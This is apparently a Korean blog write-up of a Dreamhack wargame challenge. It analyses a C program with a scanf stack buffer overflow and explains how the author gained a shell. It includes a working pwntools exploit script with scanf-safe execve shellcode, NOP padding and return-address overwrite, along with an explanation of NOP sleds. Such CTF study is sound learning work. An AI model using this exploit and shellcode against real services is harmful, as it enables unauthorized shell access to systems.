문제 정보

dreamhack.io 서버에서 작동하고 있는 서비스의 소스 코드와 바이너리가 주어질 때
이것의 취약점을 찾고 쉘을 획득해 flag를 얻는 문제
( https://dreamhack.io/wargame/challenges/2/ )

1. 코드 분석

int main(int argc, char *argv[]){
	char buf[0x80];

	initialize();

	printf("buf = (%p)\n", buf);
	scanf("%141s", buf);

	return 0;
}

main 코드만 가져왔다. 전체 코드가 궁금하면 직접 문제 파일을 확인해보면 된다.
0x80 크기를 갖는 buf 지역변수를 선언했고, 이 변수의 주소를 화면상에 보여준다.
그리고 곧바로 입력을 받는데, 최대 141개의 문자를 입력받을 수 있다. 이 코드로 쉘을 획득해야 된다.

2. 공격 시나리오

우선 쉘을 획득하기만 하면 그것을 이용하여 flag을 얻는 것은 간단하므로 쉘을 어떻게 획득할지만 생각해보면 된다.
이 문제에서 활용할 수 있는 것은 buf의 주소와 이 변수에 값을 입력할 수 있다는 것뿐이고, 그렇기 때문에 입력값을 조작하여 쉘을 실행시키도록 exploit을 작성하는 쪽으로 할 수밖에 없을 것 같다.

쉘을 얻으려면 쉘 코드를 실행하도록 해야 될 것 같다. 쉘 코드란 쉘을 실행하도록 하는 코드를 실행파일로 만들어놓은 것이고, 만들기 나름이겠지만 간단하게 25byte 내외의 문자열 형태로 얻을 수 있다.

여기서 또한 buf의 주소를 알 수 있으므로 buf에 쉘 코드를 저장한 뒤 RET 값을 buf의 주소로 변조시키면 프로그램 실행이 끝난 후 buf 주소에 있는 쉘 코드가 실행될 것임을 짐작할 수 있다.

3. Exploit 작성

from pwn import *

r = remote('host', port)

dest = r.recvuntil("buf = (")
dest = int(r.recv(10), 16)
sh = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

pay = sh + b"\x90" * (0x84-len(sh)) + p32(dest)

r.sendline(pay)
r.interactive()

(문제에 집중하기 위해 쉘 코드는 퍼온 것인데, 나중에 직접 만들어보는 것도 해봐야겠다.)
쉘 코드를 먼저 넣고 그 이후는 stack overflow 공격으로 RET값을 변조시키는 것과 동일하게 하면 된다.
여기서 다만 이전과 다른 점은 NOP Sled 기법이 등장했다는 것이다.

  • NOP Sled: NOP(\x90)은 아무것도 하지 않는 명령어인데, 이것을 실행시키기 원하는 부분의 앞 또는 뒤에 덧붙이는 것
  • 실행하고자 하는 부분의 정확한 주소 값을 얻어내기 어려울 경우 이것의 근방에 NOP을 덧붙여서, 그 부분에 접근할 수 있도록 하는 주소의 범위를 넓히기 위함이다. 정확한 주소 값을 몰라도 정해준 범위 안의 주소이기만 하면 NOP을 따라가다가 실행 명령 부분을 만났을 때 실행되도록 할 수 있어 exploit의 성공확률을 높여준다.

여기서는 정확한 buf의 주소를 알려주기 때문에 NOP Sled를 사용하지 않고도 풀 수 있지만.. 그리고 채운 문자가 NOP이라서 그렇지 사실 NOP Sled의 효과를 느끼기 미미하게 만든 exploit이긴 하지만, 나중에 주소를 정확히 알 수 없는 경우에는 유용하게 쓰일 기법일 것 같다.

이 밖에 문제 풀면서 삽질한 부분...

  1. recv()로 받아온 buf의 주소를 패킹하기 위해 int로 변환하는 함수: int(데이터, 바꾸고자 하는 진법)
    : 정수형으로 바꾸고는 싶은데 여기서 필요한 값은 16진수 int형이었다. 10진수 int형으로 형 변환할 때에는 단순히 int(데이터)만 해주면 되는데, 10진수가 아닌 다른 형태의 int형 데이터를 얻고 싶을 경우에는 두 번째 인자로 해당 진법을 적어주면 된다.!!!
  2. 쉘 코드가 단순히 쉘을 실행하도록 하는 명령의 코드라고는 하지만 모두 다 같은 것이 아니었다..
    쉘 코드를 입력시킬 함수를 어떤 것을 쓰느냐에 따라 달라질 수 있고, 환경에 따라 또 달라질 수 있는 것이었다.
    여기서는 특히 공백 같은 거에 예민한 scanf로 입력을 받기 때문에 이에 맞는 쉘 코드가 필요했다.
    이것도 모르고 다 같은 줄 알고 있다가... 삽질을 좀 많이 했었다..ㅜㅜ

4. Exploit 실행 및 결과

쉘이 잘 얻어지고 flag도 획득할 수 있었다고 한다.

+ Recent posts